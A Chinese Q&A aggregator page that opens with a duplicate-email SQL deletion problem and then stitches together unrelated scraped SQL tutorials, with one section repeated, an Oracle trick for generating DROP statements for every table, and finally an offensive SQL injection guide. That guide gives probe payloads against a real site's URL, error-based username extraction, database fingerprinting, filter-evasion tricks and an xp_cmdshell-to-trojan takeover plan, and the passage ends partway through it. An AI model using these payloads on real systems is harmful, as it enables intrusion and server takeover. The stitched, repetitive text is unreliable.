SQL-Delete Duplicate Emails

2023-11-09 来源：花图问答

Write a SQL query to delete all duplicate email entries in a table named Person, keeping only unique emails based on its smallest Id.

+----+------------------+| Id | Email |+----+------------------+| 1 | john@example.com || 2 | bob@example.com || 3 | john@example.com |+----+------------------+Id is the primary key column for this table.

For example, after running your query, the above Person table should have the following rows:

+----+------------------+| Id | Email |+----+------------------+| 1 | john@example.com || 2 | bob@example.com |+----+------------------+

思路：（1）首先说一下inner join（等价于join），以及他的衍生品left/right join。他们的实质就是在笛卡尔积的基础上加上了附加的条件。（2）然后就是delete的格式：delete from table where..

delete from p1using Person p1 inner join Person p2on p1.Id > p2.Id and p1.Email = p2.Email

SQL-Delete Duplicate Emails

标签：

小编还为您整理了以下内容，可能对您也有帮助：

SQL查询语句

SQL查询语句精华大全一、简单查询

简单的Transact-SQL查询只包括选择列表、FROM子句和WHERE子句。它们分别说明所查询列、查询的

表或视图、以及搜索条件等。

例如，下面的语句查询testtable表中姓名为“张三”的nickname字段和email字段。

SELECT nickname,email

FROM testtable

WHERE name='张三'(一) 选择列表

选择列表(select_list)指出所查询列，它可以是一组列名列表、星号、表达式、变量(包括局部变

量和全局变量)等构成。1、选择所有列

例如，下面语句显示testtable表中所有列的数据：

SELECT *

FROM testtable2、选择部分列并指定它们的显示次序

查询结果集合中数据的排列顺序与选择列表中所指定的列名排列顺序相同。

例如：

SELECT nickname,email

FROM testtable3、更改列标题

在选择列表中，可重新指定列标题。定义格式为：

列标题=列名

列名列标题

如果指定的列标题不是标准的标识符格式时，应使用引号定界符，例如，下列语句使用汉字显示列

标题：

SELECT 昵称=nickname,电子邮件=email

FROM testtable4、删除重复行

SELECT语句中使用ALL或DISTINCT选项来显示表中符合条件的所有行或删除其中重复的数据行，默认

为ALL。使用DISTINCT选项时，对于所有重复的数据行在SELECT返回的结果集合中只保留一行。5、返回的行数

使用TOP n [PERCENT]选项返回的数据行数，TOP n说明返回n行，而TOP n PERCENT时，说明n是

表示一百分数，指定返回的行数等于总行数的百分之几。

例如：

SELECT TOP 2 *

FROM testtable

SELECT TOP 20 PERCENT *

FROM testtable(二) FROM子句

FROM子句指定SELECT语句查询及与查询相关的表或视图。在FROM子句中最多可指定256个表或视图，

它们之间用逗号分隔。

在FROM子句同时指定多个表或视图时，如果选择列表中存在同名列，这时应使用对象名限定这些列

所属的表或视图。例如在usertable和citytable表中同时存在cityid列，在查询两个表中的cityid时应

使用下面语句格式加以限定：

SELECT username,citytable.cityid

FROM usertable,citytable

WHERE usertable.cityid=citytable.cityid

在FROM子句中可用以下两种格式为表或视图指定别名：

表名 as 别名

表名别名

例如上面语句可用表的别名格式表示为：

SELECT username,b.cityid

FROM usertable a,citytable b

WHERE a.cityid=b.cityid

SELECT不仅能从表或视图中检索数据，它还能够从其它查询语句所返回的结果集合中查询数据。

例如：

SELECT a.au_fname+a.au_lname

FROM authors a,titleauthor ta

(SELECT title_id,title

FROM titles

WHERE ytd_sales>10000

) AS t

WHERE a.au_id=ta.au_id

AND ta.title_id=t.title_id

此例中，将SELECT返回的结果集合给予一别名t，然后再从中检索数据。(三) 使用WHERE子句设置查询条件

WHERE子句设置查询条件，过滤掉不需要的数据行。例如下面语句查询年龄大于20的数据：

SELECT *

FROM usertable

WHERE age>20

WHERE子句可包括各种条件运算符：

比较运算符(大小比较)：>、>=、=、<、<=、<>、!>、!<

范围运算符(表达式值是否在指定的范围)：BETWEEN…AND…

NOT BETWEEN…AND…

列表运算符(判断表达式是否为列表中的指定项)：IN (项1,项2……)

NOT IN (项1,项2……)

模式匹配符(判断值是否与指定的字符通配格式相符):LIKE、NOT LIKE

空值判断符(判断表达式是否为空)：IS NULL、NOT IS NULL

逻辑运算符(用于多条件的逻辑连接)：NOT、AND、OR

1、范围运算符例：age BETWEEN 10 AND 30相当于age>=10 AND age<=30

2、列表运算符例：country IN ('Germany','China')

3、模式匹配符例：常用于模糊查找，它判断列值是否与指定的字符串格式相匹配。可用于char、

varchar、text、ntext、datetime和smalldatetime等类型查询。

可使用以下通配字符：

百分号%：可匹配任意类型和长度的字符，如果是中文，请使用两个百分号即%%。

下划线_：匹配单个任意字符，它常用来表达式的字符长度。

方括号[]：指定一个字符、字符串或范围，要求所匹配对象为它们中的任一个。

[^]：其取值也[] 相同，但它要求所匹配对象为指定字符以外的任一个字符。

例如：

以Publishing结尾，使用LIKE '%Publishing'

以A开头：LIKE '[A]%'

以A开头外：LIKE '[^A]%'

4、空值判断符例WHERE age IS NULL

5、逻辑运算符：优先级为NOT、AND、OR

(四)查询结果排序

使用ORDER BY子句对查询返回的结果按一列或多列排序。ORDER BY子句的语法格式为：

ORDER BY {column_name [ASC|DESC]} [,…n]

其中ASC表示升序，为默认值，DESC为降序。ORDER BY不能按ntext、text和image数据类型进行排

序。

例如：

SELECT *

FROM usertable

ORDER BY age desc,userid ASC

另外，可以根据表达式进行排序。二、联合查询

UNION运算符可以将两个或两个以上上SELECT语句的查询结果集合合并成一个结果集合显示，即执行联

合查询。UNION的语法格式为：

select_statement

UNION [ALL] selectstatement

[UNION [ALL] selectstatement][…n]

其中selectstatement为待联合的SELECT查询语句。

ALL选项表示将所有行合并到结果集合中。不指定该项时，被联合查询结果集合中的重复行将只保留一

行。

联合查询时，查询结果的列标题为第一个查询语句的列标题。因此，要定义列标题必须在第一个查询语

句中定义。要对联合查询结果排序时，也必须使用第一查询语句中的列名、列标题或者列序号。

在使用UNION 运算符时，应保证每个联合查询语句的选择列表中有相同数量的表达式，并且每个查询选

择表达式应具有相同的数据类型，或是可以自动将它们转换为相同的数据类型。在自动转换时，对于数值类

型，系统将低精度的数据类型转换为高精度的数据类型。

在包括多个查询的UNION语句中，其执行顺序是自左至右，使用括号可以改变这一执行顺序。例如：

查询1 UNION (查询2 UNION 查询3)三、连接查询

通过连接运算符可以实现多个表查询。连接是关系数据库模型的主要特点，也是它区别于其它类型

数据库管理系统的一个标志。

在关系数据库管理系统中，表建立时各数据之间的关系不必确定，常把一个实体的所有信息存放在

一个表中。当检索数据时，通过连接操作查询出存放在多个表中的不同实体的信息。连接操作给用户带

来很大的灵活性，他们可以在任何时候增加新的数据类型。为不同实体创建新的表，尔后通过连接进行

查询。

连接可以在SELECT 语句的FROM子句或WHERE子句中建立，似是而非在FROM子句中指出连接时有助于

将连接操作与WHERE子句中的搜索条件区分开来。所以，在Transact-SQL中推荐使用这种方法。

SQL-92标准所定义的FROM子句的连接语法格式为：

FROM join_table join_type join_table

[ON (join_condition)]

其中join_table指出参与连接操作的表名，连接可以对同一个表操作，也可以对多表操作，对同一

个表操作的连接又称做自连接。

join_type 指出连接类型，可分为三种：内连接、外连接和交叉连接。内连接(INNER JOIN)使用比

较运算符进行表间某(些)列数据的比较操作，并列出这些表中与连接条件相匹配的数据行。根据所使用

的比较方式不同，内连接又分为等值连接、自然连接和不等连接三种。

外连接分为左外连接(LEFT OUTER JOIN或LEFT JOIN)、右外连接(RIGHT OUTER JOIN或RIGHT JOIN)

和全外连接(FULL OUTER JOIN或FULL JOIN)三种。与内连接不同的是，外连接不只列出与连接条件相匹

配的行，而是列出左表(左外连接时)、右表(右外连接时)或两个表(全外连接时)中所有符合搜索条件的

数据行。

交叉连接(CROSS JOIN)没有WHERE 子句，它返回连接表中所有数据行的笛卡尔积，其结果集合中的

数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。

连接操作中的ON (join_condition) 子句指出连接条件，它由被连接表中的列和比较运算符、逻辑

运算符等构成。

无论哪种连接都不能对text、ntext和image数据类型列进行直接连接，但可以对这三种列进行间接

连接。例如：

SELECT p1.pub_id,p2.pub_id,p1.pr_info

FROM pub_info AS p1 INNER JOIN pub_info AS p2

ON DATALENGTH(p1.pr_info)=DATALENGTH(p2.pr_info)(一)内连接

内连接查询操作列出与连接条件匹配的数据行，它使用比较运算符比较被连接列的列值。内连接分

三种：

1、等值连接：在连接条件中使用等于号(=)运算符比较被连接列的列值，其查询结果中列出被连接

表中的所有列，包括其中的重复列。

2、不等连接：在连接条件使用除等于运算符以外的其它比较运算符比较被连接的列的列值。这些

运算符包括>、>=、<=、<、!>、!<和<>。

3、自然连接：在连接条件中使用等于(=)运算符比较被连接列的列值，但它使用选择列表指出查询

结果集合中所包括的列，并删除连接表中的重复列。

例，下面使用等值连接列出authors和publishers表中位于同一城市的作者和出版社：

SELECT *

FROM authors AS a INNER JOIN publishers AS p

ON a.city=p.city

又如使用自然连接，在选择列表中删除authors 和publishers 表中重复列(city和state)：

SELECT a.*,p.pub_id,p.pub_name,p.country

FROM authors AS a INNER JOIN publishers AS p

ON a.city=p.city

(二)外连接

内连接时，返回查询结果集合中的仅是符合查询条件( WHERE 搜索条件或 HAVING 条件)和连接条件

的行。而采用外连接时，它返回到查询结果集合中的不仅包含符合连接条件的行，而且还包括左表(左外

连接时)、右表(右外连接时)或两个边接表(全外连接)中的所有数据行。

如下面使用左外连接将论坛内容和作者信息连接起来：

SELECT a.*,b.* FROM luntan LEFT JOIN usertable as b

ON a.username=b.username

下面使用全外连接将city表中的所有作者以及user表中的所有作者，以及他们所在的城市：

SELECT a.*,b.*

FROM city as a FULL OUTER JOIN user as b

ON a.username=b.username(三)交叉连接

交叉连接不带WHERE 子句，它返回被连接的两个表所有数据行的笛卡尔积，返回到结果集合中的数

据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。

例，titles表中有6类图书，而publishers表中有8家出版社，则下列交叉连接检索到的记录数将等

于6*8=48行。

SELECT type,pub_name

FROM titles CROSS JOIN publishers

ORDER BY typeSQL核心语句(非常实用的几个技巧)插入数据向表中添加一个新记录，你要使用SQL INSERT 语句。这里有一个如何使用这种语句的例子：INSERT mytable (mycolumn) VALUES (‘some data’)这个语句把字符串’some data’插入表mytable的mycolumn字段中。将要被插入数据的字段的名字在第一个括号中指定，实际的数据在第二个括号中给出。INSERT 语句的完整句法如下：INSERT [INTO] {table_name|view_name} [(column_list)] {DEFAULT VALUES |</p><p>Values_list | select_statement}如果一个表有多个字段，通过把字段名和字段值用逗号隔开，你可以向所有的字段中插入数据。假设表mytable有三个字段first_column,second_column,和third_column。下面的INSERT语句添加了一条三个字段都有值的完整记录：INSERT mytable (first_column,second_column,third_column)VALUES (‘some data’,’some more data’,’yet more data’)注意你可以使用INSERT语句向文本型字段中插入数据。但是，如果你需要输入很长的字符串，你应该使用WRITETEXT语句。这部分内容对本书来说太高级了，因此不加讨论。要了解更多的信息，请参考Microsoft SQL Sever 的文档。如果你在INSERT 语句中只指定两个字段和数据会怎么样呢？换句话说，你向一个表中插入一条新记录，但有一个字段没有提供数据。在这种情况下，有下面的四种可能：如果该字段有一个缺省值，该值会被使用。例如，假设你插入新记录时没有给字段third_column提供数据，而这个字段有一个缺省值’some value’。在这种情况下，当新记录建立时会插入值’some value’。如果该字段可以接受空值，而且没有缺省值，则会被插入空值。如果该字段不能接受空值，而且没有缺省值，就会出现错误。你会收到错误信息：The column in table mytable may not be null.最后，如果该字段是一个标识字段，那么它会自动产生一个新值。当你向一个有标识字段的表中插入新记录时，只要忽略该字段，标识字段会给自己赋一个新值。注意向一个有标识字段的表中插入新记录后，你可以用SQL变量@@identity来访问新记录的标识字段的值。考虑如下的SQL语句：INSERT mytable (first_column) VALUES(‘some value’)INSERT anothertable(another_first,another_second)VALUES(@@identity,’some value’)如果表mytable有一个标识字段，该字段的值会被插入表anothertable的another_first字段。这是因为变量@@identity总是保存最后一次插入标识字段的值。字段another_first应该与字段first_column有相同的数据类型。但是，字段another_first不能是应该标识字段。Another_first字段用来保存字段first_column的值。删除记录要从表中删除一个或多个记录，需要使用SQL DELETE语句。你可以给DELETE 语句提供WHERE 子句。WHERE子句用来选择要删除的记录。例如，下面的这个DELETE语句只删除字段first_column的值等于’Delete Me’的记录：DELETE mytable WHERE first_column=’Deltet Me’DELETE 语句的完整句法如下：DELETE [FROM] {table_name|view_name} [WHERE clause]在SQL SELECT 语句中可以使用的任何条件都可以在DELECT 语句的WHERE子句中使用。例如，下面的这个DELETE语句只删除那些first_column字段的值为’goodbye’或second_column字段的值为’so long’的记录：DELETE mytable WHERE first_column=’goodby’ OR second_column=’so long’如果你不给DELETE 语句提供WHERE 子句，表中的所有记录都将被删除。你不应该有这种想法。如果你想删除应该表中的所有记录，应使用第十章所讲的TRUNCATE TABLE语句。注意为什么要用TRUNCATE TABLE 语句代替DELETE语句？当你使用TRUNCATE TABLE语句时，记录的删除是不作记录的。也就是说，这意味着TRUNCATE TABLE 要比DELETE快得多。更新记录要修改表中已经存在的一条或多条记录，应使用SQL UPDATE语句。同DELETE语句一样，UPDATE语句可以使用WHERE子句来选择更新特定的记录。请看这个例子：UPDATE mytable SET first_column=’Updated!’ WHERE second_column=’Update Me!’这个UPDATE 语句更新所有second_column字段的值为’Update Me!’的记录。对所有被选中的记录，字段first_column的值被置为’Updated!’。下面是UPDATE语句的完整句法：UPDATE {table_name|view_name} SET [{table_name|view_name}]{column_list|variable_list|variable_and_column_list}[,{column_list2|variable_list2|variable_and_column_list2}…[,{column_listN|variable_listN|variable_and_column_listN}]][WHERE clause]注意你可以对文本型字段使用UPDATE语句。但是，如果你需要更新很长的字符串，应使用UPDATETEXT语句。这部分内容对本书来说太高级了，因此不加讨论。要了解更多的信息，请参考Microsoft SQL Sever 的文档。如果你不提供WHERE子句，表中的所有记录都将被更新。有时这是有用的。例如，如果你想把表titles中的所有书的价格加倍，你可以使用如下的UPDATE 语句：你也可以同时更新多个字段。例如，下面的UPDATE语句同时更新first_column,second_column,和third_column这三个字段：UPDATE mytable SET first_column=’Updated!’Second_column=’Updated!’Third_column=’Updated!’WHERE first_column=’Update Me1’技巧SQL忽略语句中多余的空格。你可以把SQL语句写成任何你最容易读的格式。用SELECT 创建记录和表你也许已经注意到，INSERT 语句与DELETE语句和UPDATE语句有一点不同，它一次只操作一个记录。然而，有一个方法可以使INSERT 语句一次添加多个记录。要作到这一点，你需要把INSERT 语句与SELECT 语句结合起来，象这样：INSERT mytable (first_column,second_column)SELECT another_first,another_secondFROM anothertableWHERE another_first=’Copy Me!’这个语句从anothertable拷贝记录到mytable.只有表anothertable中字段another_first的值为’Copy Me！’的记录才被拷贝。当为一个表中的记录建立备份时，这种形式的INSERT 语句是非常有用的。在删除一个表中的记录之前，你可以先用这种方法把它们拷贝到另一个表中。如果你需要拷贝整个表，你可以使用SELECT INTO 语句。例如，下面的语句创建了一个名为newtable的新表，该表包含表mytable的所有数据：SELECT * INTO newtable FROM mytable你也可以指定只有特定的字段被用来创建这个新表。要做到这一点，只需在字段列表中指定你想要拷贝的字段。另外，你可以使用WHERE 子句来拷贝到新表中的记录。下面的例子只拷贝字段second_columnd的值等于’Copy Me!’的记录的first_column字段。SELECT first_column INTO newtableFROM mytableWHERE second_column=’Copy Me!’使用SQL修改已经建立的表是很困难的。例如，如果你向一个表中添加了一个字段，没有容易的办法来去除它。另外，如果你不小心把一个字段的数据类型给错了，你将没有办法改变它。但是，使用本节中讲述的SQL语句，你可以绕过这两个问题。例如，假设你想从一个表中删除一个字段。使用SELECT INTO 语句，你可以创建该表的一个拷贝，但不包含要删除的字段。这使你既删除了该字段，又保留了不想删除的数据。如果你想改变一个字段的数据类型，你可以创建一个包含正确数据类型字段的新表。创建好该表后，你就可以结合使用UPDATE语句和SELECT 语句，把原来表中的所有数据拷贝到新表中。通过这种方法，你既可以修改表的结构，又能保存原有的数据。

sql2000的insert,select,update和delete命令使用

school;-- 添加班级信息insert into tb_class(`name`) values(‘信管01‘);insert into tb_class(`name`) values(‘信管02‘);insert into tb_class(`name`) values(‘信管03‘);insert into tb_class(`name`) values(‘信管04‘);

2、添加学生信息

use school;-- 添加学生信息insert into tb_student(`Name`,`phone`,`age`,`gender`,`classid`) values(‘张三‘,‘13810707322‘,20,1,1);insert into tb_student(`Name`,`phone`,`age`,`gender`,`classid`) values(‘李四‘,‘13810707324‘,19,1,2);-- 批量添加insert into tb_student(`Name`,`phone`,`age`,`gender`,`classid`) values(‘王二‘,‘13810707325‘,18,1,2),(‘麻子‘,‘13810707323‘,23,1,1),(‘张三丰‘,‘13810707321‘,22,1,3),(‘张无忌‘,‘13810707326‘,21,1,1),(‘孙悟饭‘,‘13810707328‘,24,1,1),(‘孙悟空‘,‘13810707327‘,23,1,4),(‘鸣人‘,‘13810707329‘,25,1,1),(‘路飞‘,‘13810707320‘,26,1,2);

3、添加学生成绩信息

-- 添加学生成绩insert into tb_score(`course`,`score`,`stuid`) values(‘高数‘,89,1),(‘计算机‘,89,1),(‘java‘,89,1),(‘.net‘,89,1);

好了，有数据了，就可以学习查询，删除，修改等操作了。
4、查询所有学生信息

1 use school;2 -- 查询所有的学生信息3 select * from tb_student;4 -- 等价于，不过在数据量非常大的时候，推荐使用下面的这种查询方式。5 select id,`Name`,`phone`,Age,gender,createdate,classid from tb_student;

结果集
技术分享

你会发现，在上篇文章中，已经为createdate添加了默认约束，但这里并没有显示结果。原来的字段名称为date，后来改为了createdate。默认约束并没有保持。

alter table tb_student change createdate createdate datetime default now();

测试，添加一条数据

insert into tb_student(`Name`,`phone`,`age`,`gender`,`classid`) values(‘明哥‘,‘13810707322‘,20,1,1);

结果
技术分享

5、查询‘信管03’班的所有学生信息。

-- 查询信管03班的学生信息select s.id ‘编号‘,s.`Name` ‘名字‘,s.`phone` ‘电话‘,s.Age ‘年龄‘,s.gender ‘性别‘,s.createdate as ‘入学时间‘,c.`name` as ‘班级名称‘ from tb_student s inner join tb_class c on s.classid=c.id;

从上面的sql语句可以看出，可以为字段名起别名，通过as 或者直接写别名，这点与sqlserver中类似。inner join的用法也类似。
结果

技术分享

上面的结果，看起来比较乱，可以按照id进行升序排序。

use school;-- 查询信管03班的学生信息select s.id ‘编号‘,s.`Name` ‘名字‘,s.`phone` ‘电话‘,s.Age ‘年龄‘,s.gender ‘性别‘,s.createdate as ‘入学时间‘,c.`name` as ‘班级名称‘ from tb_student s inner join tb_class c on s.classid=c.id order by s.id;

6、取前3为学生的信息。

select s.id ‘编号‘,s.`Name` ‘名字‘,s.`phone` ‘电话‘,s.Age ‘年龄‘,s.gender ‘性别‘,s.createdate as ‘入学时间‘,c.`name` as ‘班级名称‘ from tb_student s inner join tb_class c on s.classid=c.id order by s.id limit 3;

注意：取前几条数据，这里与sql server中的用法不同，在sql server中取前几条数据使用的是top，而mysql使用limit。

7、删除id=1的学生信息。

use school;-- 删除id=1的学生信息。delete from tb_student where id=1;

这样直接删除，mysql会报一个错误。
Error Code: 1451. Cannot delete or update a parent row: a foreign key constraint fails (`school`.`tb_score`, CONSTRAINT `FK_Stuid` FOREIGN KEY (`stuId`) REFERENCES `tb_student` (`id`))

可以先加上这句话，再进行删除。

use school;-- 删除id=1的学生信息。set FOREIGN_KEY_CHECKS = 0;delete from tb_student where id=1;

注：set FOREIGN_KEY_CHECKS = 0;取消外键检测。否则mysql会认为删除是非安全的。
9、更新所有的入学时间为空的学生信息，并设置入学时间为当前时间。

use school;-- 更新所有的入学时间为空的学生信息，并设置入学时间为当前时间SET SQL_SAFE_UPDATES = 0 ; update tb_student set createdate=now() where isnull(createdate);select * from tb_student;

在使用mysql执行update的时候，如果不是用主键当where语句，会报如下错误，使用主键用于where语句中正常。

Error Code: 1175. You are using safe update mode and you tried to update a table without a WHERE that uses a KEY column To disable safe mode, toggle the option in Preferences -> SQL Editor and reconnect.

注：在修改的时候，需加上SET SQL_SAFE_UPDATES = 0 ;取消安全更新模式。如果想要提高数据库安全等级，可以在恢复回原有的设置，执行命令：SET SQL_SAFE_UPDATES = 1;

执行上面的语句，执行成功。

总结

好了，mysql中使用的增删改查就总结到这里，如果有sqlserver数据库的基础，学mysql还是很简单的。下篇文章将介绍order by，group by等的使用。

mysql之select，insert，delete，update

标签：

sql2000的insert,select,update和delete命令使用

2、添加学生信息

use school;-- 添加学生信息insert into tb_student(`Name`,`phone`,`age`,`gender`,`classid`) values(‘张三‘,‘13810707322‘,20,1,1);insert into tb_student(`Name`,`phone`,`age`,`gender`,`classid`) values(‘李四‘,‘13810707324‘,19,1,2);-- 批量添加insert into tb_student(`Name`,`phone`,`age`,`gender`,`classid`) values(‘王二‘,‘13810707325‘,18,1,2),(‘麻子‘,‘13810707323‘,23,1,1),(‘张三丰‘,‘13810707321‘,22,1,3),(‘张无忌‘,‘13810707326‘,21,1,1),(‘孙悟饭‘,‘13810707328‘,24,1,1),(‘孙悟空‘,‘13810707327‘,23,1,4),(‘鸣人‘,‘13810707329‘,25,1,1),(‘路飞‘,‘13810707320‘,26,1,2);

3、添加学生成绩信息

-- 添加学生成绩insert into tb_score(`course`,`score`,`stuid`) values(‘高数‘,89,1),(‘计算机‘,89,1),(‘java‘,89,1),(‘.net‘,89,1);

好了，有数据了，就可以学习查询，删除，修改等操作了。
4、查询所有学生信息

1 use school;2 -- 查询所有的学生信息3 select * from tb_student;4 -- 等价于，不过在数据量非常大的时候，推荐使用下面的这种查询方式。5 select id,`Name`,`phone`,Age,gender,createdate,classid from tb_student;

结果集
技术分享

你会发现，在上篇文章中，已经为createdate添加了默认约束，但这里并没有显示结果。原来的字段名称为date，后来改为了createdate。默认约束并没有保持。

alter table tb_student change createdate createdate datetime default now();

测试，添加一条数据

insert into tb_student(`Name`,`phone`,`age`,`gender`,`classid`) values(‘明哥‘,‘13810707322‘,20,1,1);

结果
技术分享

5、查询‘信管03’班的所有学生信息。

-- 查询信管03班的学生信息select s.id ‘编号‘,s.`Name` ‘名字‘,s.`phone` ‘电话‘,s.Age ‘年龄‘,s.gender ‘性别‘,s.createdate as ‘入学时间‘,c.`name` as ‘班级名称‘ from tb_student s inner join tb_class c on s.classid=c.id;

从上面的sql语句可以看出，可以为字段名起别名，通过as 或者直接写别名，这点与sqlserver中类似。inner join的用法也类似。
结果

技术分享

上面的结果，看起来比较乱，可以按照id进行升序排序。

use school;-- 查询信管03班的学生信息select s.id ‘编号‘,s.`Name` ‘名字‘,s.`phone` ‘电话‘,s.Age ‘年龄‘,s.gender ‘性别‘,s.createdate as ‘入学时间‘,c.`name` as ‘班级名称‘ from tb_student s inner join tb_class c on s.classid=c.id order by s.id;

6、取前3为学生的信息。

select s.id ‘编号‘,s.`Name` ‘名字‘,s.`phone` ‘电话‘,s.Age ‘年龄‘,s.gender ‘性别‘,s.createdate as ‘入学时间‘,c.`name` as ‘班级名称‘ from tb_student s inner join tb_class c on s.classid=c.id order by s.id limit 3;

注意：取前几条数据，这里与sql server中的用法不同，在sql server中取前几条数据使用的是top，而mysql使用limit。

7、删除id=1的学生信息。

use school;-- 删除id=1的学生信息。delete from tb_student where id=1;

可以先加上这句话，再进行删除。

use school;-- 删除id=1的学生信息。set FOREIGN_KEY_CHECKS = 0;delete from tb_student where id=1;

注：set FOREIGN_KEY_CHECKS = 0;取消外键检测。否则mysql会认为删除是非安全的。
9、更新所有的入学时间为空的学生信息，并设置入学时间为当前时间。

use school;-- 更新所有的入学时间为空的学生信息，并设置入学时间为当前时间SET SQL_SAFE_UPDATES = 0 ; update tb_student set createdate=now() where isnull(createdate);select * from tb_student;

在使用mysql执行update的时候，如果不是用主键当where语句，会报如下错误，使用主键用于where语句中正常。

执行上面的语句，执行成功。

总结

好了，mysql中使用的增删改查就总结到这里，如果有sqlserver数据库的基础，学mysql还是很简单的。下篇文章将介绍order by，group by等的使用。

mysql之select，insert，delete，update

标签：

1.SQL中如何用delete删除指定表中的所有内容？ 2.如何删除所有表？

delete

from

table

是根据条件来删除的，也就是说，你可以根据自己想删除的记录的一些特有的条件来删除它，

一般plsql操作oracle的时候，可以将语句写成这种格式

select

from

table

--delete

from

table

where

and

('d','e')

and

'%g%';

删除的时候可以从delete开始选中，完全选中就是查看，

如果想删除所有表，那么可以使用这种方法（慎用！！！）：

用户下有一个默认的表，all_tables

里面存储了所有表的信息，可以通过字符拼接来实现drop语句

select

'drop

table

'||table_name||';'

from

all_tables;

将这些语句执行，那么就可以删除所有表，

不过也可以通过select

from

all_tables

where

table_name

'%abcd%';来查找自己想要删除却忘记了表名的一些表。

关于sql注入

<二>SQL注入思路

思路最重要。其实好多人都不知道SQL到底能做什么呢？这里总结一下SQL注入入侵的总体的思路：

1. SQL注入漏洞的判断，即寻找注入点

2. 判断后台数据库类型

3. 确定XP_CMDSHELL可执行情况；若当前连接数据的帐号具有SA权限，且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过几种方法完全控制，也就完成了整个注入过程，否则继续：

1. 发现WEB虚拟目录

2. 上传ASP木马；

3. 得到管理员权限

具体步骤：

一、SQL注入漏洞的判断

如果以前没玩过注入，请把IE菜单-工具-Internet选项－高级－显示友好HTTP错误信息前面的勾去掉。

为了把问题说明清楚，以下以http://www.163.com/news.asp?id=xx(这个地址是假想的)，为例进行分析，xx可能是整型，也有可能是字符串。

1、整型参数的判断

当输入的参数xx为整型时，通常news.asp中SQL语句原貌大致如下：

select * from 表名 where 字段=xx，所以可以用以下步骤测试SQL注入是否存在。

最简单的判断方法

http://www.163.com/news.asp?id=xx’(附加一个单引号)，

此时news.asp中的SQL语句变成了

select * from 表名 where 字段=xx’，

如果程序没有过滤好“’”的话，就会提示 news.asp运行异常；但这样的方法虽然很简单，但并不是最好的，因为：

first,不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

second，目前大多数程序员已经将“’“ 过滤掉，所以用” ’”测试不到注入点，所以一般使用经典的1=1和1=2测试方法，见下文：

http://www.163.com/news.asp?id=xx and 1=1, news.asp运行正常，

而且与http://www.163.com/news.asp?id=xx运行结果相同；

http://www.163.com/news.asp?id=xx and 1=2, news.asp运行异常；（这就是经典的 1=1 1=2 判断方法）

如果以上面满足，news.asp中就会存在SQL注入漏洞，反之则可能不能注入。

2、字符串型参数的判断

方法与数值型参数判断方法基本相同

当输入的参数xx为字符串时，通常news.asp中SQL语句原貌大致如下：

select * from 表名 where 字段='xx'，所以可以用以下步骤测试SQL注入是否存在。

http://www.163.com/news.asp?id=xx’(附加一个单引号)，此时news.asp中的SQL语句变成了
select * from 表名 where 字段=xx’，news.asp运行异常；
http://www.163.com/news.asp?id=xx and '1'='1', news.asp运行正常，

而且与http://www.163.com/news.asp?id=xx运行结果相同；

http://www.163.com/news.asp?id=xx and '1'='2', news.asp运行异常；

如果以上满足，则news.asp存在SQL注入漏洞，反之则不能注入

3、特殊情况的处理

有时ASP程序员会在程序员过滤掉单引号等字符，以防止SQL注入。此时可以用以下几种方法试一试。

①大小定混合法：由于VBS并不区分大小写，而程序员在过滤时通常要么全部过滤大写字符串，要么全部过滤小写字符串，而大小写混合往往会被忽视。如用SelecT代替select,SELECT等；

②UNICODE法：在IIS中，以UNICODE字符集实现国际化，我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B，空格=%20 等；URLEncode信息参见附件一；

③ASCII码法：可以把输入的部分或全部字符全部

<4>出了上述方法以外，还有个更简单的方法就是使用现成的工具像NB联盟的NBSI就是一款很不错的工具，目前最新的版本为2.2

二、判断数据库类型

不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。

怎么让程序告诉你它使用的什么数据库呢？来看看：

SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：
http://www.163.com/news.asp?id=xx;and user>0

这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user>0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。

如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和 SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。

在确认可以注入的情况下，使用下面的语句：

http://www.163.com/news.asp?id=xx ;and (select count(*) from sysobjects)>0
http://www.163.com/news.asp?id=xx ;and (select count(*) from msysobjects)>0

如果数据库是SQLServer，那么第一个网址的页面与原页面http://www.163.com/news.asp?id=xx是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。

如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。

三、确定XP_CMDSHELL可执行情况

若当前连接数据的帐号具有SA权限，且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过以下几种方法完全控制，以后的所有步骤都可以省

1、http://www.163.com/news.asp?id=xx and user>;0 news.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。

